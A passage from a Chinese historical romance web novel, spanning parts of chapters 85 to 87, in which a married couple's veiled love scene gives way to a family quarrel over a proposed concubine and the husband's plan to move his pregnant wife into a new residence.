祝吟鸾倒吸一口凉气,汗珠滑过姑娘宛若天鹅的细颈,落到锁骨窝窝里。 沈景湛穿过柔软的春纱,动作轻柔取悦着怀中人。 很快,她就浅浅适应下来了。 主要是沈景湛的功夫很不错,他又清楚她的欢愉和痛苦。 知道怎么做才能够让她愉悦,且一直在实施。 伴随着春雨落下的节奏,从雨势变化当中,祝吟鸾渐渐得到了沐浴雨中的趣味。 这一场春雨终于越下越大了。 令她从 内而外都被雨给淋透了,额头之上不断冒出汗珠,眼泪也随之掉落,不,是挤落。 在春雨彻底淹没玉门城池的那一刻。 她被雨水打得有些“崩溃”,再也忍不住抽泣了,出声。 除此之外,在这场雨中的姑娘,手和脚都忍不住蜷捏攥紧了起来,想要借此躲避。 她左躲右闪,哭得呜呜咽咽。 不是疼,而是久违的接触,令她脑中出现短暂的失神与空白。 主要的是,难以在如此,“久别重逢”之中适应。 沈景湛也同样难抑。 春风太久不渡玉门关,守城的姑娘加强了防御。 春雨虽然攻入了城池,但也为之陷入了困境,一时之间被困在城中,难以脱身。 “鸾儿……”他祈求着她。 哄着她,吻着她,转移她的注意力。 在男人磁沉温柔的低哄之下,祝吟鸾的思绪果然被转移了。 察觉到城池摇摇欲坠微微放松,攻城的施展雨落的力道。 “……” 春雨绵绵。 起初还只是淅淅沥沥的小雨,渐渐的,因着风雨雷电的侵袭,越发大了起来。 春雨落下的声音很大,其中还有受不住风雨,而导致.颤.巍.巍发出弱不禁风的声响。 外面守夜的小丫鬟们都忍不住红了耳朵。 一直到结束时,祝吟鸾已经彻底的没力气了,精.疲.力尽了。 她还残留着一点意识,但因为没有力气,只能虚虚抬着眼睛,任由沈景湛抱着她去沐浴。 “我要明芽帮我洗。” 祝吟鸾察觉到男人的大掌在她的身上游走,她又忍不住起颤栗,更别提方才亲密的记忆还历历在目。 她害怕沈景湛的兴致又起,再来一次,毕竟方才沈景湛没有完全消退,她说很累,不要继续,沈景湛才停下来的,于是她很抗拒。 若是叫沈景湛帮着她清洗,真不知道要出什么事情呢。 万一在浴桶这边又闹呢,思来想去,所以祝吟鸾扭捏说不要他。 男人看穿她的心思,却没有完全戳破,只是逗着她笑问,“鸾儿不相信我能够伺候好你吗?” 旁边的小丫鬟们听着话茬不对,越发将头给低下去,不敢插嘴,以免打破了主子们旖旎的氛围。 祝吟鸾脸上红潮未退,她的腿脚都还是软的,但还是那句话,“你出去,我不要你帮忙。” 沈景湛挑眉,也学着她又问了一遍,“真的不要吗?” 祝吟鸾别过脸,看都不看男人凑近的侧脸,“不要。” 即便是如此,她依然看到了男人腹肌上被她抓挠出来的新鲜伤痕,还冒着血珠,他仿佛不知道疼。 “好,听鸾儿的。” 沈景湛瞧了她撇开的脸蛋好一会,伸手捏了捏她,感受到她肌玉的嫩滑,原本还想亲一亲。 但见她紧皱的眉心,若是真要当着众人面亲了,指不定要怎么跟着他闹。 所以,沈景湛只是用指腹摩挲了她的侧脸,然后起身,吩咐旁边的小丫鬟们好生照拂她。 沈景湛走了之后,祝吟鸾奄奄趴着,明芽带着小丫鬟们迅速上了前。 她的余光看到男人往外离开而拂动的衣角…… 另外一边,老妈妈们去传信,沈夫人听到这边要了水,蹙眉沉思好一会,又问闹了多久? 听到老妈妈说的时辰略长,沈夫人眉头越发皱得厉害,原本想问老妈妈怎么不规劝着,但一想到今儿沈景湛在晚膳时的态度,游廊之下说的那些话,沈夫人最后还是把话给噎了回去。 在整个沈家,她这个老子娘都不敢贸然.插.嘴,即便是她手底下用久了的老妈妈,就敢多嘴了? “除此之外,可还听到什么风声?”沈夫人问。 老妈妈愣了一下,反应过来沈夫人问的风声是什么,又摇头说没有。 “行了先下去吧。” 沈夫人上榻之时,沈侯爷也醒了,他问沈夫人又在折腾什么?沈景湛都成家立业了,还要叫奴仆盯着问房中事,这终归是不好的。 “如今听澜孩子也有了,依我看,夫人就别折腾了。”免得家中不安宁生出嫌隙。 后面这句话,沈侯爷最终还是没有说,怕沈夫人听了心里不痛快。 沈夫人眉头没有松开,跟沈侯爷道,“祝吟鸾的身子骨弱,过了头三月都能够吐成那样,只怕是要出事。” “侯爷合该去劝劝听澜别折腾才是,怎么反倒来说我了。” 沈侯爷笑,给沈夫人拉了拉被褥,“我这哪里是说夫人,只是担心你这样记挂,夜里歇不好觉。” “唉……”沈夫人哀叹,忍不住跟沈侯爷抱怨说祝吟鸾的孩子一日没生下来,她便一日歇不好觉。 “儿孙自有儿孙福。”沈侯爷宽慰她。 “话是这么说,旁的儿子姑娘们都承欢膝下了,可听澜呢?他是家中长子,如今内宅只有一个祝氏,我哪里能够放心啊?” 沈景湛出色,他的子嗣自然是越多越好,如此一来,长房才能够繁荣昌盛。 提到这件事情,沈侯爷隐晦提醒,“孟家这种亲事,我瞧着有些许悬…” “怎么悬呢?”沈夫人蹙眉,忍不住爬起来。 沈侯爷顿了一会,先是肯定了沈夫人挑人的目光,随后道,“我瞧着听澜不怎么喜欢孟家那姑娘。” 晚膳时发生的事情,沈侯爷一回来就听说了。 “眼下不喜欢,只要祝氏说动他,将人给抬进来,天长日久,朝夕相对,不就喜欢了吗?” 更何况,她要的是子嗣,这男女情爱,不都是为了传宗接代? 沈侯爷知道沈夫人这些时日在沈老太太和沈景湛那边碰了壁,心绪不佳,没有泼她凉水,干脆顺着她,“…夫人此话有理。” 沈夫人的气勉强顺了,躺下没一会,她又起身,“不成,明日我还是要敲打敲打祝氏,让她多多注意身子。” 沈侯爷虽然不想沈夫人去掺和那边的事情,但无法直接开口制止,他也清楚沈夫人做事情有分寸,干脆就不劝了。 “夜深了,夫人快歇息了吧。” 祝吟鸾罕见的醒来时,沈景湛居然还在家中。 她愣看着他,直到男人捏了捏她的鼻尖,方才回神,涌入昨日的记忆。 身上还酸疼着,祝吟鸾不打算跟他多说一句话,她避开沈景湛的触碰,生怕腿软站不住,慢吞吞爬起来。 可男人勾唇瞧了她一会,掀开被褥将她揽着腋下抱了下来。 祝吟鸾一惊,不得不开口跟他说话了,“你放我下来!” 她的声音含着羞恼,脸已经红了。 外面听到动静的小丫鬟们,见内室情状,连忙低下头去。 祝吟鸾实在是受不了沈景湛了,她居高临下,按垂着他的肩膀,“你放我下来,我要自己走。” 现如今当真是跟他置气,居然连夫君都不叫了。 沈景湛抱着她到妆奁台前,才将她放下。 旁边的小丫鬟们很有眼力见连忙上前 给祝吟鸾梳洗。 透过面前的铜镜,祝吟鸾瞧见男人好整以暇的神色。 他站在她的后面,也是通过铜镜与她对视。 瞧着他脸上的巴掌印消得差不多了,此刻看不太清楚。 祝吟鸾憋着气,一句话都不跟他说,径直挪开了视线。 好一会了,她依然能够感受到沈景湛的视线停留在她的身上。 盯了须臾,方才离开。 沈景湛过浴房去,祝吟鸾下垂的视线盯着他的衣角。 外边老妈妈来传话,说让两人过沈夫人的庭院那边去用早膳。 “您同婆母说,我与夫君很快便过来。” 八成还是孟家的事情,昨日跟沈景湛摊牌,孟小姐的事情是提了,但还是他提的,至今没有闹出一个结果。 想到他昨日说的那些话,祝吟鸾的心不免一动,神思游走。 过去的路上,沈景湛同祝吟鸾说话,她都敷衍应答,这还要得益于沈夫人派过来的老妈妈一直在旁边,否则她必然一句话都不肯多说。 到沈夫人庭院那边,她的态度好多了。 沈侯爷也忙,许久不曾归家,先是问了祝吟鸾的身子,又叮嘱了她要好生照拂自己,说着说着,提到了沈景湛。 沈侯爷道,“听澜这些时日忙于朝政冷落了你,若他不认真听你道歉讨好,我这个做公爹的,自然也不会饶他。” 话听着正常,但祝吟鸾总觉得沈侯爷意味深长,意有所指似的。 她笑着回,“多谢公爹,夫君细心周到,待我很好。” “你婆母说得对,你是个宽容的性子。” 那边沈夫人已经瞧着下人们摆好了饭菜,让在前厅说话的人快些过来。 落座之后,没吃几嘴,祝吟鸾便收到了沈夫人投过来的眼神,她在暗示祝吟鸾孟家的事情。 可这件事情…… 她要怎么跟沈夫人说,沈景湛根本就不愿意? 昨日闹得不愉悦,她还被他“教训”了一番…… 提到这个,不免想起男人在床围之间跟她说的那些话。 他询问她,是不是真的要把他推给别人?她希望他和别的女子也做这样亲密无间的事情吗? 那会子她的思绪忍不住随着他的话漂浮,心里泛起阵阵酸涩之意,却又不好倾泻,更不想被沈景湛给看出来,所以她当时十分的隐忍。 沈夫人不见她说话,借着给她夹鸡块的间隙,叫她多吃些,又给她使了一个眼色。 祝吟鸾对上沈夫人的眼睛,道了一句,“多谢婆母。” 看着碗中的脆酥鸡块,她在酝酿措辞。 可她还没有酝酿清楚,沈景湛那边已经开口,“母亲跟鸾儿又有什么悄悄话要说,儿子瞧您今日给她使了许多次眼色了。” 沈夫人,“……” 沈景湛却像是没有察觉到沈夫人的尴尬,接着道,“母亲要跟鸾儿说什么,到底什么话,儿子和父亲都不能听了?” 沈夫人只能尴尬笑,“…还能是什么,自然是叫你媳妇多吃些了,你昨日回来没瞧见她整个人都瘦了一圈吗?” “的确是瘦了,这些时日儿子不怎么忙,会时常陪鸾儿用饭。” “除此之外,儿子还有一件事情要告知母亲和父亲。” “什么事?” 沈夫人正想着昨日夜里祝吟鸾是不是根本没有跟沈景湛提孟家的事情? 她害怕孟云进来之后,会分掉她的独宠,所以才面上附和,背地里使绊子? 都有了身子还要跟沈景湛圆房,这不是闹吗?万一出什么事…… 更何况,老妈妈还说了昨日在外边听到了两人的争吵,多数是祝吟鸾在说话。 所以是祝吟鸾跟沈景湛在吵? 她不愿意孟云过门? 越想越有可能,因此,沈夫人对祝吟鸾颇有微词,但此刻碍于沈景湛和沈侯爷在场,到底没说什么。 预备等到膳后再私下里询问祝吟鸾究竟是怎么回事,便听到沈景湛说他外面的宅院已经修缮好了,要带着祝吟鸾搬过去。 沈侯爷皱眉,沈夫人大惊,“你说什么?搬出去?” 祝吟鸾也随之看向沈景湛。 他居然要带着她搬出去?可这事他昨日夜里根本就没与她提起。 沈夫人先是震惊看着沈景湛,没一会她又看向祝吟鸾。 原以为是祝吟鸾的撺掇,却没有想到祝吟鸾也是一脸迷懵的样子,沈夫人便知道她也不清楚这件事情了。 所以全是沈景湛的主意。 还是沈侯爷先问,“好端端的,怎么要搬出去?” “家中来往人员庞杂,不利于鸾儿养胎,除此之外,儿子在外的宅院离皇宫更近一些,进出宫门也方便些,我想要多陪陪鸾儿,父亲不是让儿子多多看顾她吗?” 这话倒是直接把沈侯爷给堵了回去。 沈夫人着急道,“她如今大着肚子,怎么好搬出去?” 沈景湛早就有这心思,沈夫人暗觉这些时日到底是忽视了,她连忙跟沈景湛列举了许多搬出去的坏处,执意让祝吟鸾在家中养着。 “再说了……你祖母最喜欢你媳妇,往日里就喜欢叫她过去说话,她要是走了,那你祖母牵挂她怎么办?” 不等沈景湛开口,沈夫人又接着说,“太医道你祖母的病久久未愈,不知如何是好,总要叫人陪着她,如今看见你的妻子与孩子,她心绪好了,病也能好。” “吟鸾,你说是不是?婆母这话说得可对?” 沈夫人见搬出沈老太太,沈景湛都没有多大的触动,连忙搬救兵让祝吟鸾帮着说话。 “母亲就不要再为难鸾儿了,这件事情她不知情,也做不了主,儿子已经经过深思熟虑,且在过来之时,已经吩咐了底下人收拾行装。” 软得不行,沈夫人来硬的了,她重重搁下碗筷,“不成!” “家中高堂皆在,你怎么能够另府别住?还先斩后奏!真是……真是大逆不道。”沈夫人训斥了他。 沈景湛的面色不改,他没瞧沈夫人,反而给祝吟鸾夹菜,让她不用管,接着吃。 祝吟鸾,“……”闹成这样了,沈夫人和沈侯爷皆搁了筷。 她做媳妇的,怎么能够端着碗,旁若无人接着吃? 祝吟鸾抿唇不动,沈夫人还在跟沈景湛对峙,沈侯爷出来打圆场,他温声跟祝吟鸾说,“你肚子里还有孩子,别管这些,吃吧。” 说了之后,又给沈夫人夹菜,“一家子用膳,做什么大声疾呼?别吓到了孩子。”这说的孩子,自然是祝吟鸾肚子里的。 沈夫人顾忌着她的肚子,果然缓了脸色,“好了,接着吃吧。” 祝吟鸾方才动筷子,慢吞吞吃着。 沈侯爷又与沈景湛道,“这件事情你母亲说得有理,你媳妇怀着孕,搬来搬去费精神,外头也不好听,就消停吧。” 沈景湛似笑非笑,“母亲和父亲如今顾忌鸾儿还怀着孕了?” “怎么母亲领着她去孟家往来,又施压唆使她给儿子吹枕头风纳孟家女进门的时 候,没想着她身怀大肚呢?” 沈夫人,“……”她便知道,沈景湛今日在早膳提搬家的事情必有缘故。 话是这么说,一时之间,沈夫人还真不知道回什么好。 最后是沈侯爷说,“既然你不喜欢那就不纳——” 话还没有说完,沈夫人瞪了过去,话茬戛然而止。 沈景湛仿佛没有瞧见两人之间的动作,接着给祝吟鸾夹菜。 好一会,沈夫人问,“若同意你搬出去,那你便退步纳孟家女进门了?” 祝吟鸾用膳的速度越来越慢,沈夫人的话看似在钻空子,却也钻得很对。 沈景湛还是笑,他语调散漫,“看来母亲已经忘记儿子之前说过的话了。” 沈夫人一时之间想不起来,反问他什么话。 “儿子向鸾儿求娶之前,已经在御前求了一封律令,同她成亲之后若是纳妾收房,那便让儿子罢官削爵。” 第86章 第86章“刑具”? 罢官削爵?罢官削爵?! 沈夫人愣了好一会,甚至在想究竟有没有这么一回事? 思来想去,似乎真的有这么一回事,是他在家中提出要娶祝吟鸾然后撂下的话。 只不过当时沈夫人听了觉得震惊,震惊归震惊,却没有放在心上,毕竟这钱财权势,谁人能够轻易舍弃?更何况是尊贵爵位,所以她打心眼里觉得沈景湛是在说笑。 可今日沈景湛又提,沈夫人就算是不想在意也不得不重视了起来。 “你说什么浑话?”沈夫人呵责他。 就连沈侯爷都跟着皱眉让沈景湛不要胡说八道,什么罢官削爵,什么律令?事情关乎于朝廷君王,怎么能够口不择言? “父亲母亲不信儿子说的?不如父亲今儿个进宫复命京郊大营.操.练情况的时候,顺道在御前试探问问,您便清楚,究竟有没有这回事了。” 祝吟鸾想着先前沈景湛给她的“物证”。 越发不好.插.话。 因为她知道沈侯爷和沈夫人此刻脸色不好,若是贸然张口,只怕是得罪了两人。 往日里知道沈景湛很会呛人,也知道他是个表里不一的疯子,家里的人都惧怕他,可真的见到了这个场面,祝吟鸾还是忍不住为之沉默。 除此之外,他顶撞长辈也是一流的,且.顶.得有理有据,沈侯爷都轻易接不了他的话茬,更不要沈夫人了。 不管说什么都被沈景湛给“打”回去。 现如今还不容易钻了一个空子,却又被沈景湛给威胁。 她的脑海当中适才浮现出威胁两个字,沈夫人就已经张口,就差拍桌子了,“你个混账羔子!是在威胁你老子娘吗?” 沈夫人出身高门大户,历来高贵典雅,此时此刻也被沈景湛逼得口无遮拦,言语粗鲁了。 想到祝吟鸾还在这里,总要端着婆母的架子,维持长辈的脸面,连忙清咳一声,摆正了脸色。 祝吟鸾也是头回见到沈夫人如此失态,心里的紧张散了不少,莫名觉得好笑起来,但她并没有笑。 沈景湛在跟沈夫人持续对峙的同时,也没有忘记给她夹菜,且都是她喜欢的,爱吃的,常吃的,温声叫她慢点吃。 与她说话的时候是一副温言细语,体贴周到的面孔,对上沈夫人和沈侯爷,又是凌厉冷肃,笑意不达眼底的。 她在旁边看着,只觉得他厉害,这脸色变化就只在一瞬间啊,难怪他在她面前演了那么久的戏,她都看不出来,“” 言及此,祝吟鸾在想,沈景湛既然都提到了罢官削爵,为何没有提她的手上有那封盖过玺印的律令? 心里如此想着,祝吟鸾却已经知道为何了。 他是不是担心沈夫人会将矛头对准她? “母亲不把儿子的话放到心上,闹出事情了,反倒怪到儿子的头上?” “你——”沈夫人好不容易按捺下去的脾气,又被沈景湛这句话给激了起来,连声说了好几句你你你。 却又吐露出下文,虽然沈夫人没有径直脱口而出,但祝吟鸾已经可以猜到沈夫人要说些什么了。 多半又是类似于方才训斥人,很不怎么堪入耳的话。 “你怎么能够爵位官位当成儿戏。” “母亲不也把儿子的姻缘看成儿戏吗?”沈景湛还之以牙,沈夫人怎么说,他就怎么回击沈夫人。 沈侯爷都不好.插.话了,一边是儿子,一边是夫人,他看了看,索性沉默不语,拿起银筷,跟祝吟鸾一般接着吃。 祝吟鸾原本还觉得她一人动筷不好,眼下沈侯爷陪同,倒是纾解了尴尬。 于是局面形成了诡异的对峙。 祝吟鸾和沈侯爷在用膳,沈景湛和沈夫人在吵。 在沈侯爷动筷的一瞬间,沈夫人原本想要斜他一眼,叫他不许吃,可若是真的这么开口了,必然会吓到祝吟鸾。 祝吟鸾的性子敏感多疑,真这样做了,唯恐她又思七想八。 两人之间死寂的凝滞,祝吟鸾想着要不要跳出来打个圆场,因为沈夫人明显说不过沈景湛了,此刻下不来台,很是尴尬。 但她又不知道说些什么好,想了想,祝吟鸾没有提这件事情,开口道,“婆母和夫君有话不如好好说?免得伤了一家人的和气?” 她说话的语气带着凝塞和试探。 虽然没说什么,到底也还是打了岔子,沈夫人的脸色稍微缓了缓。 沈侯爷也给沈夫人夹了菜,说是快凉了,让她有什么事,用完饭菜再说。 说到菜色,祝吟鸾帮着沈夫人跟沈景湛道,“今儿婆母备办的菜色多数都是夫君喜欢的,夫君不要辜负婆母的心意。” “那鸾儿呢?”沈景湛问她。 祝吟鸾忍不住一怔,疑问什么? “鸾儿喜欢吗?” “喜欢,婆母也备办了我喜欢的菜色。”虽然没有沈景湛和沈侯爷的那么多,却也不少了,甚至还贴心摆到了她的面前。 往前在卫家的时候,哪里有这样的殊荣? “既然喜欢,鸾儿就多吃一些。”他对着她笑,小心夹了鱼脍,帮她剔除鱼刺。 气氛固然有所缓和,这件事情却还没有解决。 沈夫人吃了两口菜,跟沈景湛说,“我这处心积虑不也是为了你吗?” “为了你和你媳妇。”不仅仅是提了沈景湛,甚至嘴快的加上了一个祝吟鸾。 沈景湛抬眸,淡淡看着沈夫人,一时之间没有回怼,仿佛要悄悄她能扯些什么乱七八糟的。 沈夫人被他瞧得略微心虚了些,也给祝吟鸾夹了一些菜,正色道, “吟鸾身子骨虚弱,她这胎保得辛苦,日后若是再生,你不也心疼吗?那孟云若是进了门,生了孩子以后记挂在她的膝下,也是光耀她的事情啊。” “鸾儿的荣光儿子自己会给她添,何须凭借一个孟家女,况且鸾儿在儿子心中金贵,宛若无价之宝,无需后嗣来抬身价。” 无价之宝 不知道他是不是刻意这样说,但当着沈夫人和沈侯爷以及那么多仆奴的面,祝吟鸾的脸还是忍不住红了。 偏生此刻又不好说些什么,便只是看了看沈景湛。 他仿佛不明白她的眸中深意,还在对着她笑呢。 祝吟鸾,“” 沈夫人也是没有法子了,直接问他,“你究竟怎么样才能够同意让孟家女进门?还是说你不喜欢孟家的?” 那孟云可是她仔细挑选的,与祝吟鸾有些许相似的姑娘。 容貌上孟云自然是比不上祝吟鸾,主要还是神态和气韵,她是跟祝吟鸾有些许相似的。 不仅仅是沈夫人这么认为,她私下里问过不少的心腹人,都说的确如此。 所以,沈夫人才那么有意于孟家女。 孟云也的确是一个上道的人,沈夫人带着她祝吟鸾过去的时候,她跟在祝吟鸾的身边总是有意无意学着祝吟鸾说话和做事。 这怎么不算是有眼力见呢? 这样的人娶进门也应当是省心的,祝吟鸾那一关是过了,却没有想到,居然在沈景湛这一边碰了壁。 沈夫人都不清楚沈景湛究竟是过于年轻气盛,还是此刻跟祝吟鸾的心意正浓,总是他柴米油盐不进,好赖话也不听。 “儿子此生不会纳妾收房,母亲就死了这条心吧。” 沈夫人,“就这般没得商量了?” 她不想当着祝吟鸾的面提起这件事情了,可是话都说到了这个份上,沈夫人也顾不得其它了,直接问沈景湛, “你担着家里的爵位重任,我且问你,若是吟鸾生出一个女儿,将来你二人又无孩子,这爵位要让给谁?” 这句话表面上说给沈景湛听,实际上也是在敲打祝吟鸾。 要让她自己想清楚,膝下若是没有男儿子嗣,将来可怎么办? “这姑娘总归是要嫁出 去的!”沈夫人喋喋不休。 “母亲您想得太多了。”沈景湛浑然不在意,“这些事情还远着呢。” “怎么远了?”沈夫人忍不住。 “你且回我的话,难道我说的不是这样?” “真要是这样,儿子也会想方设法,不会叫鸾儿和孩子为难,况且母亲您是不是忘记了,我朝又不是只有男子才能够受封爵位。” 沈夫人,“” 祝吟鸾心中也是一咯噔,朝着沈景湛瞧过去。 忽然觉得她说的一切都没有了意义,因为沈景湛是宠极了祝吟鸾,不论她是生哥儿还是生姐儿,他都会给这个孩子最好的。 想是这么想,沈夫人还是不甘心,她预备要开口,沈侯爷蹙眉制止,“行了,用个早膳都不安分,这件事情容后再议,先用饭。” 沈夫人只能够把话给憋了回去。 沈景湛丝毫不受影响,照拂着祝吟鸾,给她舀汤布菜,期间几尽温声软语。 用过早膳之后,沈景湛和祝吟鸾去探望沈老太太。 沈侯爷正要出门,沈夫人在他身边转来转去表达着不满,问他方才为何要制止? 这话都没有说完呢,沈景湛也没有点头。 沈侯爷叹一口气,“夫人废了那么多口舌,你觉得听澜有松口让步的意头吗?” 沈夫人想了想,的确是没有。 但眼下没有,日后说不定呢? 昨日她可是听老妈妈说了,沈景湛和祝吟鸾之间生了嫌隙,此时更是收房的好时候了。 “闹什么了?”沈侯爷换衣衫的动作一顿。 沈夫人怕自己说不清楚,让听墙角的老妈妈过来陈述,昨儿眼里发生了什么事情。 听完之后,沈侯爷都不知道说些什么为好? 这哪里就是生了嫌隙,争吵不休了? 分明就是小两口打情骂俏呢。 更何况沈侯爷问沈夫人今儿没有瞧见么。 沈夫人一头雾水,反问他瞧见了什么? “听澜的脸上”沈夫人想来没有留意,沈侯爷也不跟沈夫人拐弯抹角了。 直接告诉她沈景湛的脸上有被责打的巴掌印。 “什么?!”沈夫人听到被责打的巴掌印,当场就炸了。 “夫君你没有看错么?”沈夫人追问。 沈侯爷点头表示他不会看错,沈景湛脸上的巴掌印虽然消失得差不多了,但他还是能够看得出来。 沈夫人不满,谁还能够打沈景湛啊? 在这个家里,沈老太太都不会动他一根手指头。 沈景湛自幼到如今,历来都是出色的,别说是责打了,就连重话都没有听过一两句。 如今不仅仅是被打了,还是女子打的。 打在脸上,成何体统?! 祝氏未免也太放肆了,怎么能够扇打自己的夫君? “我去叫她过来!”沈夫人刚要往外走,又顿住了脚步,让老妈妈去请祝吟鸾过来。 沈侯爷连忙拽住她,让老妈妈下去,不必去叫人。 “夫君你做什么拦我?”沈夫人不满,“祝氏如今是越发目中无人了,合该敲打敲打。” 适才被沈景湛顶撞的气还没有顺呢,她正愁找不到一个发泄口,便是盯上祝吟鸾了。 况且孟家的事情,她一开始答应得好好的,现如今又开始变卦,昨日老妈妈也就是听了个大概,连打巴掌的事情都不知道,说不定还有别的事情呢。 祝吟鸾话少但聪慧,说不定她以退为进才叫沈景湛死活不同意那孟家女入门。 沈侯爷本来不想管这件事情,可今日在饭桌之上,见到母子两人剑拔弩张的氛围,不出手管管只怕是不成了,只怕家里日后会起风波。 于是沈侯爷拖了出门的时辰,让沈夫人冷静下来,又跟她讲这纳小房的事情别打主意了,趁早跟孟家那边说清楚。 “我忙活了那么些时日,孟家也谈好了,怎么能够出尔反尔。” “今儿我瞧着听澜的态度很坚决,他是不会纳妾的,况,夫人还是没有瞧出来么?”沈侯爷说这件事情真要拿下去,必然会将儿子和媳妇越推越远,必然不能够成事。 “且听澜喜爱祝氏,被打了一巴掌都乐呵呵的,他都不计较,夫人又去闹什么劲?” 说来说去,不都是房内情.趣么? “夫君说得真是好听,昨日打的今日还留着印,可见那祝吟鸾下了多大的手,更何况还是打在脸上。” “打在脸上怎么了?”沈侯爷觉得她大惊小怪。 “听澜也曾上过战场领兵打仗,媳妇那点子力气对他而言不算什么。” “况且,这巴掌下去,只怕他心里还给打舒爽了么。” 沈夫人被沈侯爷说得无言以对,“祝家如今就快要锒铛入狱了,祝吟鸾家世差成这样,入门没有多久,夫君倒是对她满意。” 沈侯爷笑,“沈家也算是高门,不需要世家联姻巩固地位权势,听澜既然选了一个他喜欢的,人也娶进门了,媳妇身上也有了,就关起门来过日子吧,闹什么呢?” “再者说,不只是我对儿媳妇满意啊,夫人看看阖家上下,上至老太太,下至玉姐儿,谁不对她满意,这足以说明儿媳妇人不错。” “夫人可不是一般女子,真不会因为儿媳妇之前许过人家就对她蕴含偏见吧?”沈侯爷说着说着夸起沈夫人来,便说她宽宏大量,慧眼识珠,绝不是那起子糊涂人。 谁不喜欢听好听话,还是来自自家夫君的夸耀,沈夫人心里的气瞬间消了大半。 “行行行,坏人都是我来做我来当了,如今闹成这样,你倒是.插.在中间当起了和事佬。” 沈夫人发愁,总觉得沈景湛这样喜欢祝吟鸾,栽得太深了点。 将来这祝氏若是不喜欢他了呢? 瞧着都动手打人了,能有多喜欢? “夫人想通了就好,就听我的,趁早跟孟家的说清楚,别伤了和气。” 沈夫人最终还是颔首,送了沈侯爷出府门去。 听了管事的婆子们来回话,沈夫人惦记着沈景湛要带着祝吟鸾搬出去的事情,转头就去了沈老太太那地方,想让沈老太太帮忙说一说,可没想到居然扑了一个空,没见着人呢。 沈夫人还没有开口,沈老太太便知道她的来意,让她坐。 婆媳两人倒也没有绕弯子,沈老太太问她是不是为孟家的事情来? 沈夫人尴尬笑着说是,“母亲您都知道了?” “前院闹得不可开交,我这边怎么会不知道?”沈老太太坐起身。 “儿媳也是为了长房子嗣。”沈夫人叹气。 “儿孙自有儿孙福。”沈老太太跟沈侯爷一样,让她不要再管了。 沈老太太放话,沈夫人残留的那点子心思都被打散了,只能作罢。 “儿媳知道了。” 沈老太太见她愁眉苦脸,让她不要担心,“你可还记得曾经我让人给祝氏看生辰八字的事情?” 沈夫人颔首说记得。 “她是个有福的,必然惠及夫家子嗣。” 沈老太太上了年岁,十分相信这些东西,沈沈夫人只能附和说是。 原本还想提祝吟鸾打沈景湛的事情,见沈老太太神色不佳,到底是没有说。 祝吟鸾出了韵梅堂,就被沈景湛带着往外走,她疑惑,“你夫君要带我去何处?” “自然是去我们的新家。”沈景湛牵着她的手。 还在沈家府上,祝吟鸾也不好挣脱得太过明显,万一又传到沈夫人的耳朵里。 今儿为着孟家的事情,她估摸着沈景湛出去之后,沈夫人估计要来找她训话,可没有想到沈景居然带着她出去了。 后面跟着的人也没有拿什么金银细软,怎么他在席间说的话不是假的吗? “你”祝吟鸾磕磕绊绊,被沈景湛带着出去了。 坐上马车之后,她才问,“你真的要带着我搬出去?” 适才沈景湛说了新家。 “是啊,鸾儿不信吗?”他说她方才没有吃饱,把桌上的糕点挪到她的手边,示意她吃。 “还是鸾儿不想跟着我出去?” 祝吟鸾没说话,她没有忘记自己还在生气。 沈景湛软磨硬泡几句话的功夫,差点就要跟他和好如初了! 男人看穿她的气性,勾唇笑了笑。 她不搭理他,他也不恼,自顾自跟她说道,“之所以没有叫人收拾细软,是因为那边一应俱全,什么都有。” 祝吟鸾还是不说话,她倒是拿着糕点吃了。 “怎么了,不说话憋在心里,岂不是要气坏了吗?”沈景湛俯身凑过来。 他的身形过于高大宽阔,直将她整个人完完全全困在了怀中,逼至角落。 “你离我远一些,我不要跟你靠那么近。”这里没有别人,她横眉冷对。 沈景湛答非所问告诉她,“我在新府邸筹备了一些东西,或可供鸾儿出气使 用。” 也不怪祝吟鸾乱想,谁让沈景湛先前在房内提了什么鞭子刀剑之类的东西。 她一瞬间就警惕起来,“什么?” 男人见她骤然警惕的神色,忍不住笑了,抬手捏着她的小脸,“鸾儿以为是什么?” 祝吟鸾不想说,沈景湛也没有过分的得寸进尺。 他靠近祝吟鸾,一本正经的神神秘秘道,“不是鸾儿想的那样。” 祝吟鸾面色红了,却维持着理直气壮,“我想的什么样?” “就是不太好的那些。” 祝吟鸾,“”这时候他知道拐弯抹角卖关子了么? 对上男人的笑脸,祝吟鸾越发觉得不能够跟着他搬走了。 她叫停马车夫,说要回去。 马车停了一下,沈景湛又吩咐人接着走。 前面赶马的侍卫,思来想去,最后还是决定听从沈景湛的话,接着赶马车了。 祝吟鸾当下就跟他争理,“你昨日还说” “说什么了?”他瞧着她气鼓鼓的模样。 “昨日还说不会再惹我生气。” “鸾儿是真的生气了吗?”他问。 吟鸾只是有点烦他,但若说是不是真的生气,似乎 她自己也不清楚了。 男人洞穿她的心思,却没有戳破,祝吟鸾也没有在这个关口跟沈景湛争执。 因为她发现她根本就绕不过沈景湛。 也是,毕竟是年少高中的京城第一公子,史上最为年轻的天子近臣。 朝堂之上的人都玩不过他,她又怎么可以? 兀自想了一会,祝吟鸾也不气了。 马车驶入京城大道以后,隔着车帘,祝吟鸾听到了鼎沸吵闹的人声。 她想要往外看去,却没有动作。 沈景湛也没有说什么,他掀开车帘,祝吟鸾感受到光,看过去的同时,扫了一眼男人的俊脸。 沈夫人不会带着祝吟鸾过街巷里面来,而且跟沈夫人坐在一处,时时要注意端庄。 她诡异的发现,自从和沈景湛摊牌以后,恐惧的感觉退却,她与他撒泼闹了之后,居然莫名轻松了不少,在他面前少了架子一般。 看了一会,祝吟鸾后知后觉,她好像又顺着他的动作走,瞬间把视线给收了回来。 又绕了几刻,马车停下来了。 祝吟鸾被沈景湛给抱下马车,她说要自己走,却挣扎不过他。 这是一处宽阔显赫又雅致的院子。 进去的第一眼,祝吟鸾瞬间惊艳了。 因为是她很喜欢的亭台水榭,雕梁画栋也不显得过分奢靡,反而叫人觉得清新爽朗。 她没说话,不自觉四处看了看。 沈景湛跟在她身侧。 绕过正厅堂和前院,到两人的庭院,祝吟鸾进去了。 这处也修筑得特别好,比侯府更大更宽阔,看了陈列,祝吟鸾发现了一个侧室,她走进去之后。 沈景湛,拉开旁边的暗门,示意她看。 然后她瞧见了很多稀奇古怪的 “刑具”? 第87章 第87章打他到底是惩罚还是奖赏?…… 是刑具吧,倘若她没有看错的话,就是刑具? 祝吟鸾不曾去过刑部大牢,但也曾在书上瞧见过律令刑法,那些怪闻轶事的册子还写过官差在审问案子的同时,用的都是些什么刑具。 即便是没有具体的图册,凭借言辞,祝吟鸾亦可以想象出来,究竟是个什么样子的。 就跟眼前所见,沈景湛引领她看的差不离。 